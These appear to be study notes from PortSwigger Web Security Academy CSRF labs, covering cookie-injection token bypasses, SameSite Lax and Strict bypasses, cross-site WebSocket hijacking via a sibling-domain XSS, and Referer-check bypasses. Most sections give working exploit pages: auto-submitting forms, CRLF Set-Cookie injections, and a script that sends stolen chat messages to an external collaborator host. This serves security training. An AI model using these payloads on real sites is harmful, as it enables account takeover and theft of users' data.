Cross-site Request Forgery
CSRF where token is tied to non-session cookie
Explanation:
- Site uses tokens to try to prevent CSRF attacks, but they arenât fully integrated into the siteâs session handling system.
- We can set arbitrary cookies by leveraging a feature that sets cookies. By injecting a CRLF, we can speicify our own cookies to set.
- We can chain this into our CSRF payload to set our valid CSRF token in the userâs browser and then perform an action on their behalf.
Example:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a2b004a030b51e5806449db0004001d.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="csrf" value="hVG8GmK9zBO9xlQf8UR7ivFIomqR87kK" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a2b004a030b51e5806449db0004001d.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=Mj13hpoDOI9llAxMW4La4PE3SsSufqKQ%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
CSRF where token is duplicated in cookie
Explanation:
- Same as the previous example, we can use the search function to set cookies.
- The site only checks that the csrf parameter matches the csrf cookie, so we can bypass the csrf parameter.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a14000a046b946780cb03e600f200df.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="csrf" value="96CW199wKzFxb3qljNWzdSw1O5OmNAsU" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a14000a046b946780cb03e600f200df.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=96CW199wKzFxb3qljNWzdSw1O5OmNAsU%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
Bypassing SameSite Restrictions
SameSite is a browser security mechanism that determines when a websiteâs cookies are included in requests originating from other websites. SameSite cookie restrictions provide partial protection against a variety of cross-site attacks, including CSRF, cross-site leaks, and some CORS exploits.
origin = [https://www.website.com]
site = [example][.com]
SameSite Configurations
- None = Can be used in any cross-site request
- When setting a cookie with SameSite=None, the website must also include the Secure attribute
- Lax = Must be a GET request and the request resulted from a top-level navigation by the user. (clicking a link for ex.)
- Strict = Cookie will not be sent in any cross-site requests
Bypass SameSite Lax via Method Override
- Simply changing the method if the endpoint allows it:
-
<script>
document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
- Even if an ordinary GET request isnât allowed, some frameworks provide ways of overriding the method specified in the request line. For example, in syphony:
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
<input type="hidden" name="_method" value="GET">
<input type="hidden" name="recipient" value="hacker">
<input type="hidden" name="amount" value="1000000">
</form>
<html>
--> Lab Example <--
<body>
<form action="https://0ace00d503b2b0d8801f039200040035.web-security-academy.net/my-account/change-email" method="GET">
<input type="hidden" name="_method" value="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Bypass SameSite Restrictions using on-site gadgets
- If a cookie is set with the SameSite=Strict attribute, browsers wonât include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site.
- One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters.
- As far as browsers are concerned, these client-side redirects arenât really redirects at all; the resulting request is just treated as an ordinary, standalone request.
- Most importantly, this is a same-site request and, as such, will include all cookies related to the site, regardless of any restrictions that are in place.
- If we can manipulate this gadget to elicit a malicious secondary request, this can enable you to bypass any SameSite cookie restrictions completely.
SameSite Strict bypass via client-side redirect
- In the lab we see after posting a comment we are redirected to a confirmation page and then the post.
- Looking at the js file: /resources/js/commentConfirmationRedirect.js, we confirm the redirect is handled client-side and that is uses the postid query parameter to dynamically construct the path for the client-side redirect.
- So we could change /post/comment/confirmation?postId=foo to /post/comment/confirmation?postId=../my-account?id=wiener
- TO exploit this and bypass the samesite=strict, we crafted the following test script:
-
<script>
document.location = "https://0af20055046ac0a4800c03ef009300cc.web-security-academy.net/post/comment/confirmation?postId=../my-account";
</script>
- If the target request also allows the GET method, we can modify our script by capturing the post request and then changing the request method:
-
<script>
document.location = "https://0af20055046ac0a4800c03ef009300ccD.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>
Bypassing SameSite restrictions via vulnerable sibling domains
- itâs essential to keep in mind that a request can still be same-site even if itâs issued cross-origin.
- Vulnerabilities that enable you to elicit an arbitrary secondary request, such as XSS, can compromise site-based defenses completely, exposing all of the siteâs domains to cross-site attacks.
- In addition to classic CSRF, donât forget that if the target website supports WebSockets, this functionality might be vulnerable to cross-site WebSocket hijacking (CSWSH), which is essentially just a CSRF attack targeting a WebSocket handshake.
Example:
- In this lab we have a chat feature that uses websockets. The requests do not utilize any csrf protection. So in theory we should be able to perform a cross-site WebSocket hijacking attack.
- But, the site has samesite=strict enabled on cookies. So, we need a way to bypass this. Well, after looking at requests, we see âAccess-Control-Allow-Origin: https://cms-0ae800db03b4cb30b7e7e15c00e30079.web-security-academy.netâ. If we can find a vulnerability here, we may be able to chain it to bypass the samesite=strict on the target site.
- We can confirm the CSWSH vulnerability with this exploit here:
<script>
var ws = new WebSocket('wss://0ae800db03b4cb30b7e7e15c00e30079.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://k4prlk0apyhm095fk1834ffualgc43yrn.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
- We confirmed we got a hit to our collab server. After looking at the cms site, we found a reflected xss in the login form, which also works with a GET request. We can abuse this reflected XSS to exploit the csrf.
- So, we url encoded out payload from earlier and added it into the vulnerable username parameter.
<script>
document.location = "https://cms-0ae800db03b4cb30b7e7e15c00e30079.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%65%38%30%30%64%62%30%33%62%34%63%62%33%30%62%37%65%37%65%31%35%63%30%30%65%33%30%30%37%39%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%6b%34%70%72%6c%6b%30%61%70%79%68%6d%30%39%35%66%6b%31%38%33%34%66%66%75%61%6c%67%63%34%33%79%72%6e%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=anything";
</script>
- And in our collab server, we get:
{"user":"Hal Pline","content":"No problem carlos, it's cz534om0yv27nevjhial"}
Bypassing SameSite Lax restrictions with newly issued cookies
- Cookies with Lax SameSite restrictions arenât normally sent in any cross-site POST requests, but there are some exceptions.
- If a website doesnât include a SameSite attribute when setting a cookie, Chrome automatically applies Lax restrictions by default. However, to avoid breaking single sign-on (SSO) mechanisms, it doesnât actually enforce these restrictions for the first 120 seconds on top-level POST requests. As a result, there is a two-minute window in which users may be susceptible to cross-site attacks.
- Itâs somewhat impractical to try timing the attack to fall within this short window. On the other hand, if you can find a gadget on the site that enables you to force the victim to be issued a new session cookie, you can preemptively refresh their cookie before following up with the main attack. For example, completing an OAuth-based login flow may result in a new session each time as the OAuth service doesnât necessarily know whether the user is still logged in to the target site.
- To trigger the cookie refresh without the victim having to manually log in again, you need to use a top-level navigation, which ensures that the cookies associated with their current OAuth session are included. This poses an additional challenge because you then need to redirect the user back to your site so that you can launch the CSRF attack.
- Alternatively, you can trigger the cookie refresh from a new tab so the browser doesnât leave the page before youâre able to deliver the final attack. A minor snag with this approach is that browsers block popup tabs unless theyâre opened via a manual interaction. For example, the following popup will be blocked by the browser by default:
window.open('https://vulnerable-website.com/login/sso');
To get around this, you can wrap the statement in an onclick event handler as follows:
window.onclick = () => {
window.open('https://vulnerable-website.com/login/sso');
}
- This way, the window.open() method is only invoked when the user clicks somewhere on the page.
Example: Samesite Lax Bypass via Cookie Refresh
- Looking at the response to the GET /oauth-callback?code=[âŚ] request at the end of the OAuth flow. We notice that the website doesnât explicitly specify any SameSite restrictions when setting session cookies. As a result, the browser will use the default Lax restriction level.
- We we attempt a basic csrf exploit before two mins on the change email function, it works, anything after and we are sent to the oauth login.
- TO bypass the samesite restriction we can abuse the fact that the oauth flow sets a new sessions cookie everytime, even if were logged in to refresh the victimâs session by forcing their browser to visit /social-login, then submit the email change request after a short pause.
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
function changeEmail(){
document.forms[0].submit();
}
</script>
- Note that weâve opened the /social-login in a new window to avoid navigating away from the exploit before the change email request is sent.
- We see that the initial request gets blocked by the browserâs popup blocker.
- After a pause, the CSRF attack is still launched. However, this is only successful if it has been less than two minutes since the cookie was set. If not, the attack fails because the popup blocker prevents the forced cookie refresh.
- TO bypass the popup blocker, we first tealize that the popup is being blocked because you havenât manually interacted with the page.
- We can change our exploit so that it induces the victim to click on the page and only opens the popup once the user has clicked:
<form method="POST" action="https://0ac9001503c90d148022c11c007400f2.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://0ac9001503c90d148022c11c007400f2.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
Bypassing Referer-based CSRF defenses
- Some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the applicationâs own domain. This approach is generally less effective and is often subject to bypasses.
- Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted.
- In this situation, an attacker can craft their CSRF exploit in a way that causes the victim userâs browser to drop the Referer header in the resulting request. There are various ways to achieve this, but the easiest is using a META tag within the HTML page that hosts the CSRF attack:
<meta name="referrer" content="never">
Lab example:
<html>
<meta name="referrer" content="never">
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0ab300b50485179980f2038d00170094.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Validation of Referer can be circumvented
- Some applications validate the Referer header in a naive way that can be bypassed. For example, if the application validates that the domain in the Referer starts with the expected value, then the attacker can place this as a subdomain of their own domain:
http://vulnerable-website.com.attacker-website.com/csrf-attack
- Likewise, if the application simply validates that the Referer contains its own domain name, then the attacker can place the required value elsewhere in the URL:
http://attacker-website.com/csrf-attack?vulnerable-website.com
NOYE:
-
Although you may be able to identify this behavior using Burp, you will often find that this approach no longer works when you go to test your proof-of-concept in a browser. In an attempt to reduce the risk of sensitive data being leaked in this way, many browsers now strip the query string from the Referer header by default.
- You can override this behavior by making sure that the response containing your exploit has the Referrer-Policy: unsafe-url header set (note that Referrer is spelled correctly in this case, just to make sure youâre paying attention!). This ensures that the full URL will be sent, including the query string.
Example:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState("", "", "/?0a02009b04644ae4802b036500d50043.web-security-academy.net")</script>
<form action="https://0a02009b04644ae4802b036500d50043.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>